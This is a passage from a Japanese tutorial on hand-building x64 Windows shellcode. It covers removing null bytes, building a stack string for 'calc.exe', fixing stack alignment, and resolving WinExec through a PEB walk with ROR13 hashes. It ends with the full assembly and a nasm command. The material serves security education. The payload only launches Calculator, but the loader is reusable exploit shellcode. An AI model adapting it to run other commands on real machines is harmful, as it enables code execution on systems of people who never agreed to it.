+ mov ecx,DWORD PTR [rax+r14]
+ sub r14,rBX #R14 = R14-0x88
+ xor rbx,rbx
該当箇所7
実効アドレス計算のオフセット自体(0x0
)がナルバイトになっています。
一見、オフセット+0x0
は意味が無いので、それを削除すればナルバイトを除去できるように思えます。しかし、アドレス指定方式とレジスタの組み合わせによっては、オフセットを必ず書かなければいけない場合があります。
アドレス指定方式とレジスタの組み合わせによっては、オフセットを必ず書かなければいけない
これがx64の仕様なのか、コンパイラやアセンブラの仕様なのかを調査しましたが、特定することができませんでしたので、深掘った解説は保留します。
今回は、ベースレジスタにRBPとR9を指定した場合のみ、オフセットが必ず組み込まれることを確認しました。これは、アドレッシングモードによらず適用され、例えばmov rbx,DWORD PTR [r9]
をアセンブルしてから、生成されたオブジェクトファイルの逆アセンブル結果を見ると、当該命令がmov rbx,DWORD PTR [r9+0x0]
へ変わっていることが確認されました。
そこで、ベースレジスタをRBPからR12へ変更しました。また、rcx*4
を予め計算しておくことで、アドレス指定方式を、インデックスアドレス指定方式から間接アドレス指定方式へ変更しました。
インデックスの計算は、rcx*4
に相当する処理を、論理左シフト命令shl rcx,2
で再現しています。
- mov ebx,DWORD PTR [rbp+rcx*4+0x0] ### 該当箇所7 ###
+ shl rcx,2
+ add r12,rcx
+ mov ebx,DWORD PTR [r12]
該当箇所8
call
の直前にナルバイトを含む命令があります。これは、WinExec
の第一引数として、"calc.exe"
をRCXへ代入する処理です。
/* ソースコード */
((WINEXEC)winExec)("calc.exe", 0);
/* アセンブリ */
140001128: 48 8d 0d 11 11 00 00 lea rcx,[rip+0x1111] // 0x140002240
一般に、PEファイル形式において、ソースコードにハードコーディングされた文字列は、読み取り専用のデータセクション(.rdata
)に配置されます。今回は、.rdata
内の0x140002240
に文字列が配置されたため、RCXに0x140002240
が代入されました。実際に、当該箇所を見にいくと、"calc.exe"
が存在することを確認できます。
Disassembly of section .rdata:
0000000140002000 <.rdata>:
140002000: 56 push rsi
140002001: 2e 00 00 cs add BYTE PTR [rax],al
140002004: 00 00 add BYTE PTR [rax],al
140002006: 00 00 add BYTE PTR [rax],al
140002008: 7a 2d jp 0x140002037
14000200a: 00 00 add BYTE PTR [rax],al
14000200c: 00 00 add BYTE PTR [rax],al
(中略)
140002239: ff (bad)
14000223a: ff (bad)
14000223b: ff (bad)
14000223c: ff (bad)
14000223d: ff (bad)
14000223e: ff (bad)
14000223f: ff 63 61 jmp QWORD PTR [rbx+0x61] # \xff 'c' 'a'
140002242: 6c ins BYTE PTR es:[rdi],dx # 'l'
140002243: 63 2e movsxd ebp,DWORD PTR [rsi] # 'c' '.'
140002245: 65 78 65 gs js 0x1400022ad # 'e' 'x' 'e'
(以下略)
140001128: 48 8d 0d 11 11 00 00 lea rcx,[rip+0x1111] // 0x140002240
この命令では、アドレス指定方式として、PC相対アドレス指定が使われています。PC相対アドレス指定とは、RIPとオフセット用いて特定のアドレスを指定することです。RIPには、常に次に実行する命令のアドレスが格納されており、実行時にRIPをベースとしてアドレスを計算することで、プログラムを位置独立で動作させることが可能になります。
-
"calc.exe"
= RIP+0x1111
=14000112f
+0x1111
=0x140002240
前半で、jmp
のオペランドをラベルに張り替える作業をしましたが、それは絶対アドレスをPC相対アドレスへ変換するためでした。
シェルコードは、PEファイル形式でないため、セクションを構成することはできません。よって、.rdata
にある文字列は使えず、別の場所へ移す必要があります。
シェルコードで文字列を参照する方法は様々なものが存在しますが、今回はStack Strings
という、スタック上に文字列を生成する最もシンプルな方法を使います。具体的には、参照したい文字列をスタックへpush
すると、自然とRSPが文字列の先頭を指すので、それをそのまま文字列ポインタとして使用します。例えば、文字列終端を含めた"calc.exe\0"
をスタックにpush
し、RSPをECXへ代入すれば、第一引数に"calc.exe\0"
を格納できます。
Stack Strings
の他に、call
を使って命令間に文字列を配置する方法、Virtual Alloc
でメモリ領域を確保し文字列を格納する方法などもありますが、この記事では解説しません。
"calc.exe"
は8バイトであるため、64ビットのレジスタにぴったり格納できます。文字列終端(\0
)をpush
した後、"calc.exe"
を格納したレジスタをpush
すれば完成です。ただし、レジスタへはリトルエンディアンで格納されるため、格納段階で逆順("exe.clac"
)にする必要があります。また、64ビットのレジスタへの格納はmov
ではなくmovabs
を使うことも忘れてはいけません。
- lea rcx,[rip+0x1111] ### 該当箇所8 ###
+ push rdx #push '\0'
+ movabs rcx,0x6578652E636C6163 #movabs rcx,"exe.clac"
+ push rcx #push "calc.exe"
+ mov rcx,rsp
以上で、Bad Charactersの除去が終わりました。
除去が完了した結果を示します。アドレス、及び機械語は削除しています。
逆アセンブル結果4
xor rbx,rbx
mov bl,0x60
mov rax,gs:[rbx]
xor rbx,rbx
mov r14d,ebx
mov rcx,QWORD PTR [rax+0x18]
mov r11,QWORD PTR [rcx+0x20]
mov r10,QWORD PTR [r11]
cmp r10,r11
je .end_of_dll
.dll_search:
mov r9,QWORD PTR [r10+0x50]
test r9,r9
je .next_dll
mov eax,ebx
mov rdx,0xffffffffffffffff
.wcslen:
inc rdx
cmp WORD PTR [r9+rdx*2],ax
jne .wcslen
mov r8,rbx
test rdx,rdx
je .next_dll
.wror13:
movzx ecx,WORD PTR [r9+r8*2]
inc r8
ror eax,0xd
add eax,ecx
cmp r8,rdx
jb .wror13
cmp eax,0x6e2bca17
je .dll_is_found
.next_dll:
mov r10,QWORD PTR [r10]
cmp r10,r11
jne .dll_search
jmp .dll_is_found
.dll_is_found:
mov r14,QWORD PTR [r10+0x20]
.end_of_dll:
movsxd rax,DWORD PTR [r14+0x3c]
mov r10d,ebx
xor rbx,rbx
mov bl,0x88
add r14,rbx
mov ecx,DWORD PTR [rax+r14]
sub r14,rBX
xor rbx,rbx
add rcx,r14
mov r11d,DWORD PTR [rcx+0x20]
mov esi,DWORD PTR [rcx+0x24]
add r11,r14
xor r12,r12
mov r12d,DWORD PTR [rcx+0x1c]
add rsi,r14
mov edi,DWORD PTR [rcx+0x18]
add r12,r14
test edi,edi
je .exec_winexec
.func_search:
mov r9d,DWORD PTR [r11]
add r9,r14
je .next_func
mov ecx,ebx
mov rdx,0xffffffffffffffff
.strlen:
inc rdx
cmp BYTE PTR [r9+rdx*1],cl
jne .strlen
mov r8,rbx
test rdx,rdx
je .next_func
.ror13:
movsx eax,BYTE PTR [r9+r8*1]
inc r8
ror ecx,0xd
add ecx,eax
cmp r8,rdx
jb .ror13
cmp ecx,0xe8afe98
je .func_is_found
.next_func:
inc r10d
add r11,0x4
cmp r10d,edi
jb .func_search
jmp .exec_winexec
.func_is_found:
mov eax,r10d
movzx ecx,WORD PTR [rsi+rax*2]
shl rcx,2
add r12,rcx
mov ebx,DWORD PTR [r12]
add rbx,r14
.exec_winexec:
xor rdx,rdx
push rdx
movabs rcx,0x6578652E636C6163
push rcx
mov rcx,rsp
call rbx #Call WinExec
アライメントの調整
これまでの処理で、シェルコードへの変換はほとんど終わりました。最後に、RSPのアライメントの調整をします。
アライメントとは、レジスタの値や特定のデータの位置が、「キリのいい値」になっていることです。「キリの良さ」はCPUの実装依存ですが、ほとんどはアドレスがバイト単位で2の倍数
、4の倍数
、8の倍数
になっていることが求められ、それぞれ16ビット境界
、32ビット境界
、64ビット境界
などと呼ばれます。
特定の命令は、RSPの値がアライメントされていることを求めており、アライメントされていない場合に例外を吐くことがあります。通常、ソースコードからプログラムをコンパイルした時は、コンパイラがアライメントを考慮してRSPの値を調整してくれますが、今回は手作業でプロローグやエピローグを削除したり、スタック上に文字列を生成したりしているため、RSPがアライメントされていません。
実際に、現段階のシェルコードをアセンブルして実行すると、WinExec
の処理の途中でAccess Violation
が発生します。
上図:WinExec
を呼び出す直前の様子。RSPの値は0x000000EE825FFA58
である。
上図:WinExec
の関数内でAccess Violation
が発生した様子。movaps
がRSPの16ビット境界を要しているため、例外が発生した。
これを避けるためには、WinExec
を呼び出す前にESPの値が16ビット境界になるよう調整すれば問題ありません。
- push rcx #push "calc.exe"
- mov rcx,rsp
- call rbx
+ push rcx #push "calc.exe"
+ mov rcx,rsp
+ add rsp,0x18 #Alignment
+ call rbx
バイトコードへの変換
以上で、シェルコードが完成しました。
アセンブリの形式へ整形したものを下記に示します。
完成したシェルコード
.intel_syntax noprefix
.section .text
.global _start
_start:
xor rbx,rbx
mov bl,0x60 #RBX = 0x0000000000000060
mov rax,gs:[rbx] #RAX = GS:[0x60] = PEB
xor rbx,rbx
mov r14d,ebx
mov rcx,QWORD PTR [rax+0x18] #RCX = imageBase
mov r11,QWORD PTR [rcx+0x20] #R11 = start
mov r10,QWORD PTR [r11] #R10 = entry
cmp r10,r11
je .end_of_dll
.dll_search:
mov r9,QWORD PTR [r10+0x50] #R9 = DllName
test r9,r9
je .next_dll
mov eax,ebx
mov rdx,0xffffffffffffffff
.wcslen:
inc rdx
cmp WORD PTR [r9+rdx*2],ax
jne .wcslen
mov r8,rbx
test rdx,rdx
je .next_dll
.wror13:
movzx ecx,WORD PTR [r9+r8*2]
inc r8
ror eax,0xd
add eax,ecx
cmp r8,rdx #if i == wcslen(DllName)
jb .wror13
cmp eax,0x6e2bca17 #if EAX == target
je .dll_is_found
.next_dll:
mov r10,QWORD PTR [r10] #entry = entry->Flink
cmp r10,r11 #if entry == start
jne .dll_search
jmp .dll_is_found
.dll_is_found:
mov r14,QWORD PTR [r10+0x20] #R14 = DllBase
.end_of_dll:
movsxd rax,DWORD PTR [r14+0x3c] #RAX = NtHeader
mov r10d,ebx #i = 0
xor rbx,rbx
mov bl,0x88
add r14,rbx #R14 = R14+0x88
mov ecx,DWORD PTR [rax+r14] #mov ecx,DWORD PTR [rax+r14*1+0x88] => mov ecx,DWORD PTR [rax+r14]
sub r14,rBX #R14 = R14-0x88
xor rbx,rbx
add rcx,r14 #RCX = ExportDirectory
mov r11d,DWORD PTR [rcx+0x20]
mov esi,DWORD PTR [rcx+0x24]
add r11,r14 #R11 = rvaOfNameOrdinals
xor r12,r12
mov r12d,DWORD PTR [rcx+0x1c]
add rsi,r14 #RSI = rvaOfNames
mov edi,DWORD PTR [rcx+0x18] #RDI = NumberOfNames
add r12,r14 #RBP = rvaOfFunctions
test edi,edi
je .exec_winexec
.func_search:
mov r9d,DWORD PTR [r11]
add r9,r14
je .next_func
mov ecx,ebx
mov rdx,0xffffffffffffffff
.strlen:
inc rdx
cmp BYTE PTR [r9+rdx*1],cl
jne .strlen
mov r8,rbx
test rdx,rdx
je .next_func
.ror13:
movsx eax,BYTE PTR [r9+r8*1]
inc r8
ror ecx,0xd
add ecx,eax
cmp r8,rdx #if R8 == strlen()
jb .ror13
cmp ecx,0xe8afe98 #if RCX == target
je .func_is_found
.next_func:
inc r10d #i++
add r11,0x4
cmp r10d,edi #if i > NumberOfNames
jb .func_search
jmp .exec_winexec
.func_is_found:
mov eax,r10d
movzx ecx,WORD PTR [rsi+rax*2]
shl rcx,2
add r12,rcx
mov ebx,DWORD PTR [r12] #mov ebx,DWORD PTR [rbp+rcx*4+0x0] => shl rcx,2 add r12,rcx mov ebx,DWORD PTR [r12]
add rbx,r14 #RBX = WinExec
.exec_winexec:
xor rdx,rdx
push rdx #push '\0'
movabs rcx,0x6578652E636C6163 #"calc.exe"
push rcx
mov rcx,rsp
add rsp,0x18 #Alignment
call rbx #Call WinExec
完成したアセンブリをバイナリへ変換します。ツールはnasm
を使用しました。nasmは公式HPからダウンロードできます)。
-f bin
オプションを付けることにより、ラベルを張ったアドレスがPC相対アドレスに変換され、位置独立で動作するコードになります。
nasm -f bin -o shellcode_x64_windows.bin shellcode_x64_windows.asm
以上、お疲れ様でした。
最後までお読み頂き、ありがとうございます。